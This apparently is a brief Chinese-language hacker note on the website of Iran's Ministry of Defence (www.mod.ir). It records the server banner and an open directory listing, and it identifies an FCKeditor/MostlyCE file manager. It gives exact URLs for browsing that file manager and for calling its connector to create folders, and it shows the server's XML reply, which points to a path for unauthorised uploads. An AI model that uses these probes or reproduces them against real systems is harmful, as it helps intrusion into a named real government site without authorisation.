伊朗国防部网站程序

伊朗国防部网站程序

Apache/2.2.10 (Linux/SUSE) Server at www.mod.ir Port 80

目录遍历漏洞

http://www.mod.ir/components/

编辑器Fckeditor

license.txt

1.                    This connector is supplied under the same license as FCKEditor,

2.                    The Lesser GPL License (LGPL)-

3.                    GNU LESSER GENERAL PUBLIC LICENSE

4.                    Version 2.1, February 1999

5.                    Copyright (C) 1991, 1999 Free Software Foundation, Inc.

6.                         59 Temple Place, Suite 330, Boston, MA  02111-1307  USA

7.                    Everyone is permitted to copy and distribute verbatim copies

8.                    of this license document, but changing it is not allowed.

9.                    [This is the first released version of the Lesser GPL.  It also counts

10.                 as the successor of the GNU Library Public License, version 2, hence

 

the version number 2.1.]

http://www.mod.ir/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/browser.html? Type=Image&Connector=../../connectors/asp/connector.php

http://www.mod.ir/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=

 

1.                    <?xml version="1.0" encoding="utf-8" ?>

2.         - <Connector command="CreateFolder" resourceType="Image">

3.           <CurrentFolder path="/" url="/UserFiles/Image/" />

4.                      <Error number="103" />

5.                      </Connector>